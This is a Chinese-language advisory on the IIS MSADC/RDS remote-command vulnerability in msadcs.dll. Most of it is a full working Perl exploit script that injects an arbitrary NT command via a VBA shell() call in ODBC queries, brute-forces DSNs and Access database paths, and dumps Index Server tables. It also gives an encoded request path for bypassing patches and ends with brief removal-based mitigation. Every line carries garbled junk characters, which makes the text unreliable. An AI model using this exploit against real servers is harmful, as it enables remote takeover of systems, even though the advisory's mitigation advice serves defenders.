IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
nQX:T;WL@ F3v !AvA| 涉及程序：
x=hiQ>BIO0 Microsoft NT server
pMx*F@&nU ? Wr+Q 描述：
b9KP( _ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
HZzD VCU G_3O]BMKd) 详细：
iZ3IdiZ 如果你没有时间读详细内容的话，就删除:
/7 nb,!~~l c:\Program Files\Common Files\System\Msadc\msadcs.dll
3nIU 1e 有关的安全问题就没有了。
fo*2:?K& +eWQa`g 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
q #Z@+(^ J{p1|+h% 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
6y%q Vx#! 关于利用ODBC远程漏洞的描述，请参看:
l6T-}h:= pXT4)JDpc http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^pAAzr"hv E"\<s3 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
%Q__!D[ http://www.microsoft.com/security/bulletins/MS99-025faq.asp
{7"Q\ n/;WxnnQ 这里不再论述。
]_ mb 7X> lk^Ol& 6 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
c@!_ /0 $Uq|w[LA /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
:t "^6xt 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
^e2VE_8L fn jPSts0 F 5bj=mI #将下面这段保存为txt文件，然后: "perl -x 文件名"
VuhGx :Xl b(eNmu #!perl
iTBx\ u%{ #
&=@IzmA # MSADC/RDS 'usage' (aka exploit) script
\+oQd= K@ #
$B 2J
T9 # by rain.forest.puppy
sQ UM~HD\a #
4x=v ?g& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
G}9Jg # beta test and find errors!
X:f UI4 !1jBC. G1 use Socket; use Getopt::Std;
59LZv-l getopts("e:vd:h:XR", \%args);
A2I9R;} ! _] Y~[ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
tVYF{3BhA }Sm(]y if (!defined $args{h} && !defined $args{R}) {
1![!+X:w print qq~
|IeTqEu9 Usage: msadc.pl -h <host> { -d <delay> -X -v }
7X`g,b! -h <host> = host you want to scan (ip or domain)
WrnrFz -d <seconds> = delay between calls, default 1 second
a5dLQx b -X = dump Index Server path table, if available
uanhr)Ys -v = verbose
I13y6= d -e = external dictionary file for step 5
zq 3\}9 wjU 9Z GM Or a -R will resume a command session
.Yamc#A- 5N#aXG^9 ~; exit;}
JinUV6cr e[{0)y>= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
n2"a{Ofhlf if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
^rB8? kt if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Z\(q@3 C if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+r� $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
{UX!go^J if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
n QF(vTDN I {SjlN}d if (!defined $args{R}){ $ret = &has_msadc;
*l(7D(# die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
i7CX65&b WqR&&gz print "Please type the NT commandline you want to run (cmd /c assumed):\n"
D5gFXEeh . "cmd /c ";
/m!BY}4W $in=<STDIN>; chomp $in;
^L ,K& Jd $command="cmd /c " . $in ;
cRC6 s8 . o6Or :L if (defined $args{R}) {&load; exit;}
IY1 //9 {Ea
b
j print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
kl" hBK#D% &try_btcustmr;
_IMW { e
v}S+!|U print "\nStep 2: Trying to make our own DSN...";
OH N _ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
RIR\']WN x %=si[P print "\nStep 3: Trying known DSNs...";
q$L%36u~/ &known_dsn;
#&+{mCjs wKh4|Ka print "\nStep 4: Trying known .mdbs...";
rCEyQ)R_} &known_mdb;
goNG' o %| q~Hn -5H4Q if (defined $args{e}){
MBK^FR-K print "\nStep 5: Trying dictionary of DSN names...";
,O5NLg- &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
~i= _J3' I@\lN&HC print "Sorry Charley...maybe next time?\n";
BkAm/R exit;
pp?D7S m[osg< CR_ ##############################################################################
@ )F )S 7 eSn+ B;
sub sendraw { # ripped and modded from whisker
Vsr.=N d= sleep($delay); # it's a DoS on the server! At least on mine...
1NFsb-<u my ($pstr)=@_;
J6"9v; V socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-]Bq|qTH[( die("Socket problems\n");
> tS'Q`R if(connect(S,pack "SnA4x8",2,80,$target)){
d7^}tM select(S); $|=1;
b#c: u2 print $pstr; my @in=<S>;
&N9
a<w8+ select(STDOUT); close(S);
Yu/ID!`Z return @in;
krxo"WgD } else { die("Can't connect...\n"); }}
OG~gFZr)6 u2 I*-K ##############################################################################
r+!YI k \<h0Q, e sub make_header { # make the HTTP request
-/B+T>[nTb my $msadc=<<EOT
Z3e| UAif POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
uh_RGM& User-Agent: ACTIVEDATA
*t FHM &a Host: $ip
"s-"<&>a( Content-Length: $clen
@&!ZZ
1V8 Connection: Keep-Alive
OF>mF ~ ,^r9n [M4M ADCClientVersion:01.06
;1W6 G=m Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
j3oV+zZ49 g9pZ\$J& --!ADM!ROX!YOUR!WORLD!
OnziG+ak Content-Type: application/x-varg
iozt&~o Content-Length: $reqlen
:k]1Lm|| umfD>" ^I EOT
;>hO+Wo ; $msadc=~s/\n/\r\n/g;
r r %V.r;2 return $msadc;}
iU918!!N H vauyx5T ##############################################################################
NX.6px1 7 ~NgA sub make_req { # make the RDS request
}Bh8=F3O
Q my ($switch, $p1, $p2)=@_;
(# c*M?g3 my $req=""; my $t1, $t2, $query, $dsn;
)m+W
j bP#:Oi0v` if ($switch==1){ # this is the btcustmr.mdb query
6-
YU[HF $query="Select * from Customers where City=" . make_shell();
!TH)
+zi $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
I|!OY`ko $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
yzn%<H~ 6v!`1}
~ elsif ($switch==2){ # this is general make table query
,t7 44k') $query="create table AZZ (B int, C varchar(10))";
=J==i? $dsn="$p1";}
!,uE]gwL w e]aDP 1n3t elsif ($switch==3){ # this is general exploit table query
w m@@$ $query="select * from AZZ where C=" . make_shell();
.LZ?S"z$ w $dsn="$p1";}
h*a(_11 ",t?8465y elsif ($switch==4){ # attempt to hork file info from index server
**0~K" ;\ $query="select path from scope()";
sdrfsrNvB- $dsn="Provider=MSIDXS;";}
%0?KMRr 3*bU6$|5FP elsif ($switch==5){ # bad query
qZh/IW $query="select";
aK~8B_5k8 $dsn="$p1";}
P; no? Q*cf( $t1= make_unicode($query);
Po0A#Z l $t2= make_unicode($dsn);
iVr J Q $req = "\x02\x00\x03\x00";
Dpac^ST $req.= "\x08\x00" . pack ("S1", length($t1));
U>SShpmZA $req.= "\x00\x00" . $t1 ;
:Ov6_x]* $req.= "\x08\x00" . pack ("S1", length($t2));
Q\vpqE! 9 $req.= "\x00\x00" . $t2 ;
#z%fx
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
MJ)RvNF return $req;}
A\DC W Lb-OsKU ##############################################################################
hfB%`x#akQ R w\gTo sub make_shell { # this makes the shell() statement
{Mk6T1Bkq return "'|shell(\"$command\")|'";}
BOX2O.Pm MjRHA^b ##############################################################################
Ne!lH@ql KF}hV9IU sub make_unicode { # quick little function to convert to unicode
9=tIz my ($in)=@_; my $out;
IP pN@ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
>R_&Ouh: return $out;}
1&O W4_ Jpq~ ##############################################################################
h#*d I`>l- s8Q 5ui] sub rdo_success { # checks for RDO return success (this is kludge)
\@zHON( my (@in) = @_; my $base=content_start(@in);
HiFUv >,u if($in[$base]=~/multipart\/mixed/){
P+sW[: return 1 if( $in[$base+10]=~/^\x09\x00/ );}
(C L%>5V return 0;}
n@i HFBb q2j{tP# ##############################################################################
& . j&0WE r u%y sub make_dsn { # this makes a DSN for us
q`-N7 ,$T my @drives=("c","d","e","f");
e *C(q~PQ print "\nMaking DSN: ";
q;CiV foreach $drive (@drives) {
&z3o7rif$ print "$drive: ";
J@'wf8Ub my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"S]TP$O D "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
(ZizuHC . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
F>l]
9!P|m $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?l )[7LR4 return 0 if $2 eq "404"; # not found/doesn't exist
Avc% 2 + if($2 eq "200") {
T^KKy0ZGM foreach $line (@results) {
59A}}.@?m return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
)akoa,#%6c } return 0;}
LL!Dx%JZ 8<.Oq4ku ##############################################################################
LR A8p<Rs q9_OGd|P sub verify_exists {
W!(zT6# my ($page)=@_;
KpGhQdR# my @results=sendraw("GET $page HTTP/1.0\n\n");
vE?G7%, return $results[0];}
9A=,E&
Otuf] B^s ##############################################################################
NLq zi%s TJRCH>E [a sub try_btcustmr {
##*3bDf$-5 my @drives=("c","d","e","f");
R 9\*#c my @dirs=("winnt","winnt35","winnt351","win","windows");
3pKQ$\u K%oG,-wdg foreach $dir (@dirs) {
D,feF 9 print "$dir -> "; # fun status so you can see progress
,qxu|9L foreach $drive (@drives) {
bn5 Su=] print "$drive: "; # ditto
5j(k:a+!H $reqlen=length( make_req(1,$drive,$dir) ) - 28;
~>|ziHx $reqlenlen=length( "$reqlen" );
8 Z~EwY* $clen= 206 + $reqlenlen + $reqlen;
iBa A9 ga +dt my @results=sendraw(make_header() . make_req(1,$drive,$dir));
,J@ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
o+' 6`g'8 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
1+s;FJ2} ms]sD3z/W+ ##############################################################################
*2l7f` K ;Y, y 4{H3 sub odbc_error {
W<g 1<z\f my (@in)=@_; my $base;
M= (u ]%\ my $base = content_start(@in);
})%{AfDRF if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
|6- n bj $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~xFkU# $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
F^:3?JA _ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a7opC mL return $in[$base+4].$in[$base+5].$in[$base+6];}
> (<f 0 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
L4W5EO$ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
jP. dD Yc $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
5 qA ' |G<|F`Cj ##############################################################################
?@x/E& : A;RH sub verbose {
d=/F}yP~?s my ($in)=@_;
YmG("z return if !$verbose;
$`8wJf9@w print STDOUT "\n$in\n";}
{qVZNXDn LS[]=Mk@1 ##############################################################################
h(DTa QT}tvm@PMq sub save {
<P<z N~i9j my ($p1, $p2, $p3, $p4)=@_;
.%-8 t{dt open(OUT, ">rds.save") || print "Problem saving parameters...\n";
c+ie8Q! print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
o8MZiU1Xf close OUT;}
8Zdn, }Z pxi3PY? ##############################################################################
#'}*dy/ :`sUt1Fw. sub load {
\;Weizq5 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
x+]" open(IN,"<rds.save") || die("Couldn't open rds.save\n");
MdF2Gk-9 @p=<IN>; close(IN);
(9)Q ' 'S $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
]:n,RO6 $target= inet_aton($ip) || die("inet_aton problems");
['D]>Ot68 print "Resuming to $ip ...";
<_+X 88 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
BA.uw_^4 if($p[1]==1) {
eMzk3eOJ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
5)40/cBe $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
k5)om;.w my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
q^nVN# if (rdo_success(@results)){print "Success!\n";}
-?a 26o%e else { print "failed\n"; verbose(odbc_error(@results));}}
^.y\ (= elsif ($p[1]==3){
:T~ [ if(run_query("$p[3]")){
!r-F>!~ print "Success!\n";} else { print "failed\n"; }}
xSu > elsif ($p[1]==4){
6LhTBV if(run_query($drvst . "$p[3]")){
)/P}?` I print "Success!\n"; } else { print "failed\n"; }}
Ys7]B9/1O exit;}
q(w(Sd)#L +ge?w#R ##############################################################################
gG uO &,/ S`ke= sub create_table {
CJyevMf' my ($in)=@_;
ry]l.@o; $reqlen=length( make_req(2,$in,"") ) - 28;
xD 7]C|8o $reqlenlen=length( "$reqlen" );
Nboaf $clen= 206 + $reqlenlen + $reqlen;
a9Vi]; my @results=sendraw(make_header() . make_req(2,$in,""));
I =#$8l.* return 1 if rdo_success(@results);
{..6>fS my $temp= odbc_error(@results); verbose($temp);
L},_.$I? return 1 if $temp=~/Table 'AZZ' already exists/;
>mkFV@` return 0;}
XP}<N&j }0 ?3:A ##############################################################################
so s5Y} iRBfx sub known_dsn {
O&&~NXI\ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
L50n 8s my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Bp{Ri_&A "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
d_ CT $ "banner", "banners", "ads", "ADCDemo", "ADCTest");
Mfk Z _dU\JD foreach $dSn (@dsns) {
3 XKf !P print ".";
1mJ Hued=6 next if (!is_access("DSN=$dSn"));
sRfcF`7 if(create_table("DSN=$dSn")){
zeRyL3fnmb print "$dSn successful\n";
m+ 9#5a- if(run_query("DSN=$dSn")){
;a3}~s print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
|a@L }m print "Something's borked. Use verbose next time\n";}}} print "\n";}
hG rdtsH? Zd& S @Z ##############################################################################
(' ~ LMu_ @nf`Gw ; sub is_access {
|uDdHX8T my ($in)=@_;
`u\n0=go $reqlen=length( make_req(5,$in,"") ) - 28;
M%#e1 "n $reqlenlen=length( "$reqlen" );
2qp#N% $clen= 206 + $reqlenlen + $reqlen;
P 2Y^d#jO my @results=sendraw(make_header() . make_req(5,$in,""));
d5d@k my $temp= odbc_error(@results);
`h;[TtIX4 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
>sbu<|]a
7 return 0;}
S>{~nOYt-` ^@]3R QB ##############################################################################
`mqMLo * \NC3'G:Ii sub run_query {
E"0>yl) my ($in)=@_;
$xQL]FmS $reqlen=length( make_req(3,$in,"") ) - 28;
7Lt)nq-b $reqlenlen=length( "$reqlen" );
05[SC}MCA $clen= 206 + $reqlenlen + $reqlen;
%)wjR/o my @results=sendraw(make_header() . make_req(3,$in,""));
\v/[6&|X0s return 1 if rdo_success(@results);
45oR=A t n my $temp= odbc_error(@results); verbose($temp);
|hQ;l|SWg return 0;}
@ |r{;' F}zDfY\- ##############################################################################
I_BJH'!t ~s{$WL& sub known_mdb {
svSV G:48 my @drives=("c","d","e","f","g");
f!"w5qC^ my @dirs=("winnt","winnt35","winnt351","win","windows");
E_`=7 i my $dir, $drive, $mdb;
@XVTU my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
EQ ttoOO Wjc'*QCP l # this is sparse, because I don't know of many
nP$9CA my @sysmdbs=( "\\catroot\\icatalog.mdb",
ElXFeJ%[G "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
c%&>p|| "\\system32\\certmdb.mdb",
y)*R V;^ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
H>C=zo,oiC \Cj B1] I my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
7 d vnupLh "\\cfusion\\cfapps\\forums\\forums_.mdb",
Uz7<PLxd "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
p#B i>/C6 "\\cfusion\\cfapps\\security\\realm_.mdb",
Z ]ON h "\\cfusion\\cfapps\\security\\data\\realm.mdb",
<}LC~B! "\\cfusion\\database\\cfexamples.mdb",
;PH~<T "\\cfusion\\database\\cfsnippets.mdb",
#1[u (<AS "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
=QsYXK7Mn4 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
o}!P Q #`M "\\cfusion\\brighttiger\\database\\cleam.mdb",
a9 G8q>h]O "\\cfusion\\database\\smpolicy.mdb",
DrQ`]]jj7 "\\cfusion\\database\cypress.mdb",
/E>e"tvss "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
[!z ,lY> "\\website\\cgi-win\\dbsample.mdb",
u4j5w "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Q20 %"&Xp] "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
he4 (hX^ ); #these are just
Y0>y8U V foreach $drive (@drives) {
*2?@
|<(r foreach $dir (@dirs){
% `3 jL7| foreach $mdb (@sysmdbs) {
xfQ1T)F3g print ".";
[vgtc.V if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
wj+*E6o-n print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
$^ P0F9~0 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
O84i;S+-p print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
nR~(0G,H } else { print "Something's borked. Use verbose next time\n"; }}}}}
nK,w]{<wG! hQ i2U foreach $drive (@drives) {
KSvE~h[#+ foreach $mdb (@mdbs) {
ys~x $ print ".";
7Wno':w8 if(create_table($drv . $drive . $dir . $mdb)){
pUTr!fR print "\n" . $drive . $dir . $mdb . " successful\n";
rKn~qV ls if(run_query($drv . $drive . $dir . $mdb)){
&vJH$R print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
:>*7=q= } else { print "Something's borked. Use verbose next time\n"; }}}}
r,udO,Yi=c }
J *yg& Ib`XT0k ##############################################################################
/\Ef%@ 9UkBwS` sub hork_idx {
E3i4=!Y print "\nAttempting to dump Index Server tables...\n";
6-I'>\U~ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
!?XC1xe~R $reqlen=length( make_req(4,"","") ) - 28;
eIlva? $reqlenlen=length( "$reqlen" );
<N)oS-m> $clen= 206 + $reqlenlen + $reqlen;
>bxS3FCX my @results=sendraw2(make_header() . make_req(4,"",""));
YN,A )w:] if (rdo_success(@results)){
k\IbIv7?i my $max=@results; my $c; my %d;
[~
fraK,) for($c=19; $c<$max; $c++){
R@0 R`Zs $results[$c]=~s/\x00//g;
p[-O( 3Y $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
G"6 !{4g $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
O}P`P'Y|' $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:t[_:3@ $d{"$1$2"}="";}
KP"+e:a% foreach $c (keys %d){ print "$c\n"; }
Rv=YFo[B } else {print "Index server doesn't seem to be installed.\n"; }}
;,TFr}p` \8
":]EU ##############################################################################
yuVs
YV@" (ZGbh MK sub dsn_dict {
U(Zq= M open(IN, "<$args{e}") || die("Can't open external dictionary\n");
:+Z%; Dc while(<IN>){
=I4lL]> $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
>Q/Dk7 # next if (!is_access("DSN=$dSn"));
VQs5"K" if(create_table("DSN=$dSn")){
[e
q& C_|D print "$dSn successful\n";
GeqPRah if(run_query("DSN=$dSn")){
:Al!1BJQ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
;j7#7MN2_E print "Something's borked. Use verbose next time\n";}}}
dI2
V>vk print "\n"; close(IN);}
(mOtU8 e =vPj%oLp'a ##############################################################################
5\ v3;;A[ CAe!7 HiR sub sendraw2 { # ripped and modded from whisker
;`Z{7' ^U sleep($delay); # it's a DoS on the server! At least on mine...
GVz6-T~\> my ($pstr)=@_;
G)YcJv7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*_e3 @g die("Socket problems\n");
N;R^h? ' if(connect(S,pack "SnA4x8",2,80,$target)){
LLI .8kn7 print "Connected. Getting data";
43w }qY1 open(OUT,">raw.out"); my @in;
>sF)Bo Lc select(S); $|=1; print $pstr;
4
:v=pZ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
0a7Ppntb@ close(OUT); select(STDOUT); close(S); return @in;
7,MR*TO, } else { die("Can't connect...\n"); }}
CAlCDfKW} 3
{V>S,O3] ##############################################################################
/efUj kP vIvIfE sub content_start { # this will take in the server headers
"N;EL0= my (@in)=@_; my $c;
=*Lfl'sr_ for ($c=1;$c<500;$c++) {
6LZCgdS{ if($in[$c] =~/^\x0d\x0a/){
H+#FSdy# if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
t7pFW^& else { return $c+1; }}}
&[9709 (= return -1;} # it should never get here actually
r^ XVB`v j CY %| ##############################################################################
:]"V-1#} {I ((p_ sub funky {
_GPe<H my (@in)=@_; my $error=odbc_error(@in);
<%^&2UMg if($error=~/ADO could not find the specified provider/){
*i,%,O96Nz print "\nServer returned an ADO miscofiguration message\nAborting.\n";
xLE)/}y_7H exit;}
,+VGSd if($error=~/A Handler is required/){
7^Uv7< pw print "\nServer has custom handler filters (they most likely are patched)\n";
SJLis"8 exit;}
sT.ss$HY9, if($error=~/specified Handler has denied Access/){
TvM~y \s print "\nServer has custom handler filters (they most likely are patched)\n";
2eogY# exit;}}
q )GdD== maZ)cW?
##############################################################################
+t.b` U`- RFGffA&
sub has_msadc {
54,er$$V my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
^
9sjj my $base=content_start(@results);
W)/#0*7 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
5G# n"}T return 0;}
("@!>|H Y2TtY ; ########################
,6/V" kqIP u
+hX b>W %t 解决方案：
R_KH"`q 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
V#HuIgf- 2、移除web 目录: /msadc
